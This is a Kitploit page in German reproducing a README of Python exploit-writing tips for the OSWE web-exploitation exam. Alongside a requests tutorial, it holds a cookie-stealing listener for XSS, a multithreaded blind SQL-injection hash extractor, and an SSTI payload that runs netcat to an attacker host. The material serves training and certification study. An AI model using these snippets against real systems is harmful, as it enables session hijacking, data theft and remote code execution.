Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
exploit-writing-for-oswe — Tipps zum Schreiben von Exploit-Skripten (schneller!) | Kitploit
Tools/GitHubGitHub/rizemon/exploit-writing-for-oswe
Scripting & AutomatisierungWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungKuratierte RessourcenPayload-Entwicklung
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Tipps zum Schreiben von Exploit-Skripten (schneller!)

Repository anzeigen
5911127vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Exploit-Entwicklung für OSWE

Hintergrund

Was

Dieses Repository enthält eine Liste nützlicher Snippets und Tipps, die sich auf das Schreiben von Exploit-Skripten in den OSWE-Labs und der Zertifizierungsprüfung beziehen.

Einige Beispiele hier mögen gegen bestimmte Programmierpraktiken verstoßen, aber unser oberstes Ziel ist es, das Exploit-Skript schnell und korrekt zu schreiben.

Der Abschnitt Code-Snippets ist ein guter Ausgangspunkt, wenn Sie mit der requests-Bibliothek nicht vertraut sind oder neu in Python sind. Andernfalls können Sie direkt zum Abschnitt Wiederverwendbarer Code oder zum Abschnitt Tipps springen.

Warum

  • Obwohl es viele Erfahrungsberichte, Rezensionen und Notizen zur Zertifizierung gibt, befassen sich nur wenige Ressourcen speziell mit dem Prozess des Schreibens von Exploits.
  • Das Schreiben des Exploit-Skripts kann einschüchternd wirken, insbesondere für diejenigen, die neu in Python sind oder wenig Erfahrung mit der Interaktion mit Webanwendungen über Code haben.
  • Die Zeit, die für die Identifizierung von Schwachstellen und die Dokumentation eines Prüfungsberichts aufgewendet wird, kann erheblich schwanken, aber die Zeit, die für die Entwicklung des Exploit-Skripts aufgewendet wird, kann minimiert und konstant gehalten werden, wenn man sie gut beherrscht.

  • Inhaltsverzeichnis

    • Exploit-Entwicklung für OSWE
      • Hintergrund
        • Was
        • Warum
      • Inhaltsverzeichnis
      • Code-Snippets
        • Startvorlage
        • Nützliche Importe
        • Verwenden der requests-Bibliothek
          • Senden der einfachsten HTTP-Anfrage
          • Verschiedene HTTP-Methoden festlegen
          • Die HTTP-Antwort lesen
          • Daten als Query-String in der URL senden (mit dem params-Argument)
          • Daten als Query-String im Body senden (mit dem data-Argument)
          • Daten als JSON im Body senden (mit dem json-Argument)
          • Eine Datei im Body senden (mit dem files-Argument)
          • HTTP-Header setzen (mit dem headers-Argument)
          • HTTP-Cookies setzen (mit dem cookies-Argument)
          • Das Folgen von 3XX-Weiterleitungen deaktivieren (mit dem allow_redirects-Argument)
          • Mit einem nicht verifizierten HTTPS-Server interagieren (mit dem verify-Argument)
          • Anfrage über einen HTTP-Proxy senden (mit dem proxies-Argument)
          • Eine Session erstellen
          • Dauerhafte Cookies setzen
          • Dauerhafte Header setzen
        • Fehlerbehebung
          • Wireshark verwenden und nach HTTP-Anfragen filtern
          • Inhalt der HTTP-Anfrage ausgeben
          • HTTP-Anfrage über Burp Suite leiten und untersuchen
        • Wiederverwendbarer Code
          • Dateien über HTTP bereitstellen
          • HTTP-Cookies stehlen
          • SQL-Injection beschleunigen
      • Tipps
        • Nach jeder HTTP-Anfrage einen Sanity-Check mit assert durchführen
        • Aussagekräftige Meldungen nach jedem Schritt ausgeben
        • Jeden Exploit-Schritt in eine eigene Funktion aufteilen
        • Ein globales Session-Objekt erstellen, damit es nicht explizit an jeden Funktionsaufruf übergeben werden muss
        • Einen globalen BASE_URL-String erstellen und die benötigten URLs daraus konstruieren
        • Um alle HTTP-Anfragen ohne das proxies-Argument durch Burp Suite zu zwingen, setzen Sie beim Ausführen die Umgebungsvariable HTTP_PROXY / HTTPS_PROXY
        • Codierungs-/Decodierungsschemata anwenden, um eine sichere Übertragung von Payloads zu ermöglichen
        • Verwenden Sie """, um den Payload-String zu erstellen, wenn er sowohl einfache (') als auch doppelte Anführungszeichen () enthält

    Code-Snippets

    Startvorlage

    root@kitploit:~
    import requests
    
    def main():
        print("Hello World!")
    
    if __name__ == __main__:
        main()
    

    Nützliche Importe

    root@kitploit:~
    # For sending HTTP requests
    import requests
    
    # For Base64 encoding/decoding
    from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode
    
    # For getting current time or for calculating time delays
    from time import time
    
    # For regular expressions
    import re
    
    # For running shell commands
    import subprocess
    
    # For multithreading
    from concurrent.futures import ThreadPoolExecutor
    
    # For running a HTTP server in the background
    import threading
    from http.server import HTTPServer, BaseHTTPRequestHandler
    
    # For parsing HTTP cookies
    from http import cookies
    
    # For getting command-line arguments
    import sys
    

    Verwenden der requests-Bibliothek

    Senden der einfachsten HTTP-Anfrage

    root@kitploit:~
    resp_obj = requests.get("https://github.com")
    

    Verschiedene HTTP-Methoden festlegen

    root@kitploit:~
    # GET method
    requests.get("https://github.com")
    
    # POST method
    requests.post("https://github.com")
    
    # PUT method
    requests.put("https://github.com")
    
    # PATCH method
    requests.patch("https://github.com")
    
    # DELETE method
    requests.delete("https://github.com")
    

    Die HTTP-Antwort lesen

    root@kitploit:~
    resp_obj = requests.get("https://github.com")
    
    # HTTP status code (e.g 404, 500, 301)
    resp_obj.status_code
    
    # HTTP response headers (e.g Location, Content-Disposition)
    resp_obj.headers["Location"]
    
    # Body as bytes
    resp_obj.content
    
    # Body as a string
    resp_obj.text
    
    # Body as a dictionary (if body is a JSON)
    resp_obj.json()
    

    Daten als Query-String in der URL senden (mit dem params-Argument)

    root@kitploit:~
    params = {
        "foo": "bar"
    }
    
    requests.get("https://github.com", params=params)
    

    Daten als Query-String im Body senden (mit dem data-Argument)

    root@kitploit:~
    data = {
        "foo": "bar"
    }
    
    requests.post("https://github.com", data=data)
    

    Daten als JSON im Body senden (mit dem json-Argument)

    root@kitploit:~
    data = {
        "foo": "bar"
    }
    
    requests.post("https://github.com", json=data)
    

    Eine Datei im Body senden (mit dem files-Argument)

    root@kitploit:~
    files = {
        #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
        "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
    }
    
    requests.post("https://github.com", files=files)
    

    HTTP-Header setzen (mit dem headers-Argument)

    root@kitploit:~
    headers = {
        "X-Forwarded-For": "127.0.0.1"
    }
    
    requests.get("https://github.com", headers=headers)
    

    HTTP-Cookies setzen (mit dem cookies-Argument)

    root@kitploit:~
    cookies = {
        "PHPSESSID": "fakesession"
    }
    
    requests.get("https://github.com", cookies=cookies)
    

    Das Folgen von 3XX-Weiterleitungen deaktivieren (mit dem allow_redirects-Argument)

    root@kitploit:~
    requests.post("https://github.com/login", allow_redirects=False)
    

    Mit einem nicht verifizierten HTTPS-Server interagieren (mit dem verify-Argument)

    root@kitploit:~
    # Supresses InsecureRequestWarning messages
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    
    requests.get("https://github.com", verify=False)
    

    Anfrage über einen HTTP-Proxy senden (mit dem proxies-Argument)

    root@kitploit:~
    proxies = {
        "HTTP": "http://127.0.0.1:8080",
        "HTTPS": "http://127.0.0.1:8080"
    }
    
    requests.get("https://github.com", proxies=proxies)
    

    Eine Session erstellen

    root@kitploit:~
    session = requests.Session()
    session.get("https://github.com")
    

    Dauerhafte Cookies setzen

    root@kitploit:~
    session = requests.Session()
    session.cookies.update({"PHPSESSID": "fakesession"})
    

    Dauerhafte Header setzen

    root@kitploit:~
    session = requests.Session()
    session.headers["Authorization"] = "Basic 123"
    

    Fehlerbehebung

    Wireshark verwenden und nach HTTP-Anfragen filtern

    1. Wireshark öffnen
    2. Die VPN-Schnittstelle auswählen (z. B. tun0)
    3. http in die Filterleiste eingeben.

    Inhalt der HTTP-Anfrage ausgeben

    root@kitploit:~
    data = {
        "foo": "bar"
    }
    resp_obj = requests.post("https://github.com", data=data)
    prepared_request = resp_obj.request
    
    print("Method:\n", prepared_request.method)
    print()
    print("URL:\n", prepared_request.url)
    print()
    print("Headers:\n", prepared_request.headers)
    print()
    print("Body:\n", prepared_request.body)
    

    HTTP-Anfrage über Burp Suite leiten und untersuchen

    1. Burp Suite öffnen
    2. Zum Reiter "Proxy" navigieren und "Intercept" auf "On" setzen.

    Wiederverwendbarer Code

    Dateien über HTTP bereitstellen

    root@kitploit:~
    LHOST      = "10.0.0.1"
    WEB_PORT   = 8000
    JS_PAYLOAD = "<script>alert(1)</script>"
    
    def start_web_server():
        class MyHandler(BaseHTTPRequestHandler):
            # Uncomment this method to suppress HTTP logs
            # def log_message(self, format, *args):
            #     return
    
            def do_GET(self):
                if self.path.endswith('/payload.js'):
                    self.send_response(200)
                    self.send_header("Content-Type", "application/javascript")
                    self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                    self.end_headers()
                    self.wfile.write(JS_PAYLOAD.encode())
                
        httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
        threading.Thread(target=httpd.serve_forever).start()
    
    start_web_server()
    

    HTTP-Cookies stehlen

    root@kitploit:~
    LHOST      = "10.0.0.1"
    WEB_PORT   = 8000
    
    requests = requests.Session()
    xss_event = threading.Event() # Signifies when victim sends their cookie
    
    def send_xss_payload():
        pass
    
    def start_web_server():
        class MyHandler(BaseHTTPRequestHandler):
    
            def do_GET(self):
                self.send_response(200)
                self.end_headers()
    
                # Load stolen cookie into session
                _, enc_cookie = self.path.split("/?cookie=", 1)
                plain_cookie = urlsafe_b64decode(enc_cookie).decode()
                session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]
    
                xss_event.set() # Trigger the event
                
        httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
        threading.Thread(target=httpd.serve_forever).start()
    
    start_web_server()
    send_xss_payload()
    xss_event.wait() # Wait for event to be triggered
    print("[+] Stolen cookie:", session.cookies["PHPSESSID"])
    

    SQL-Injection beschleunigen

    root@kitploit:~
    MAX_WORKERS = 20
    HASH_LENGTH = 32
    
    def exfiltrate_hash():
    
        def boolean_sqli(arguments):
            idx, ascii_val = arguments
            # ...
            # Perform SQLi and store boolean outcome into truth
            # ...
            return ascii_val, truth
    
        result = ""
    
        # Go through each character position
        for idx in range(HASH_LENGTH):
    
            # Use MAX_WORKERS threads to test possible ASCII values in parallel
            with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
                # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
                responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])
    
            # Go through each response and determine which ASCII value is correct
            for ascii_val, truth in responses:
                if truth:
                    result += chr(ascii_val)
                    break
        
        return result
    
    hash = exfiltrate_hash()
    

    Tipps

    Nach jeder HTTP-Anfrage einen Sanity-Check mit assert durchführen

    • Erfassen, ob eine Webshell tatsächlich hochgeladen wurde, bevor man versucht, sie auszulösen
    • Erfassen, ob die Authentifizierung erfolgreich ist, bevor authentifizierte Funktionen ausgenutzt werden

    Beispiel:

    root@kitploit:~
    # Suppose 302 is returned if successful login
    resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
    assert resp_obj.status_code == 302, "Login not successful"
    
    # Suppose admin page is returned if successful login
    resp_obj = requests.post("http://example.com/login", data=data)
    assert "Admin Dashboard" in resp_obj.content, "Login not successful"
    

    Aussagekräftige Meldungen nach jedem Schritt ausgeben

    • Aktion wird gestartet/beendet ODER
    • Cookies/Tokens/Dateien/Werte, die abgerufen wurden

    Beispiel:

    root@kitploit:~
    [+] Parsed command-line arguments and got:
      * BASE_URL: http://example.com
      * LHOST:    127.0.0.1
      * LPORT:    1337
    [+] Triggered password reset token generation
    [=] Getting password reset token length...
    [+] Got password reset token length: 10
    [=] Retrieving password reset token...
    [+] Got password reset token: FAKE_TOKEN
    

    Jeden Exploit-Schritt in eine eigene Funktion aufteilen

    Beispiel:

    root@kitploit:~
    def register():
        pass
    
    def login():
        pass
    
    def rce():
        pass
    

    Ein globales Session-Objekt erstellen, damit es nicht explizit an jeden Funktionsaufruf übergeben werden muss

    root@kitploit:~
    session = requests.Session()
    
    def login():
        session.post(...)
    
    def rce():
        session.post(...)
    

    Einen globalen BASE_URL-String erstellen und die benötigten URLs daraus konstruieren

    root@kitploit:~
    BASE_URL = ""
    session = requests.Session()
    
    def login():
        url = BASE_URL + "/login"
        session.post(url, ...)
    
    def rce():
        url = BASE_URL + "/rce"
        session.post(url, ...)
    
    def main():
        # Allow BASE_URL to be modified
        global BASE_URL
        BASE_URL = sys.argv[1]
    ...
    

    Um alle HTTP-Anfragen ohne das proxies-Argument durch Burp Suite zu zwingen, setzen Sie beim Ausführen die Umgebungsvariable HTTP_PROXY / HTTPS_PROXY

    root@kitploit:~
    $ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py
    

    Codierungs-/Decodierungsschemata anwenden, um eine sichere Übertragung von Payloads zu ermöglichen

    • Base64
    • Hexadezimal

    Verwenden Sie """, um den Payload-String zu erstellen, wenn er sowohl einfache (') als auch doppelte Anführungszeichen (") enthält

    Beispiel:

    root@kitploit:~
    payload = """This is a '. This is a "."""
    

    SQL-Injection mithilfe von Multithreading beschleunigen

    Siehe SQL-Injection beschleunigen.

    Das Cookie eines authentifizierten Benutzers hartkodieren, wenn Exploits für authentifizierte Funktionen entwickelt werden

    Insbesondere wenn viele zeitaufwändige Schritte erforderlich waren, um eine authentifizierte Sitzung zu erhalten.

    Beispiel:

    root@kitploit:~
    session = requests.Session()
    
    def main():
        # Skipping these for now...
        # register()
        # login()
    
        # TODO: Delete this line after you are
        # done developing and uncomment the above steps!
        session.cookies["JSESSIONID"] = "ADMIN_COOKIE"
    
        # Exploit authenticated features...
    ...
    

    Vermeiden Sie f-Strings (f"") oder str.format, wenn der Payload zu viele geschweifte Klammern ({}) enthält

    Das Verdoppeln jeder geschweiften Klammer nur zum Escapen kann mühsam und fehleranfällig sein. Verwenden Sie stattdessen einfache Platzhalter und führen Sie ein .replace() durch!

    Beispiel:

    root@kitploit:~
    # Too many curly braces
    ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
    # Much easier to read
    ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
        .replace("<LHOST>", LHOST)\
        .replace("<LPORT>", LPORT)
    
    Tool herunterladen
    "
  • SQL-Injection mithilfe von Multithreading beschleunigen
  • Das Cookie eines authentifizierten Benutzers hartkodieren, wenn Exploits für authentifizierte Funktionen entwickelt werden
  • Vermeiden Sie f-Strings (f"") oder str.format, wenn der Payload zu viele geschweifte Klammern ({}) enthält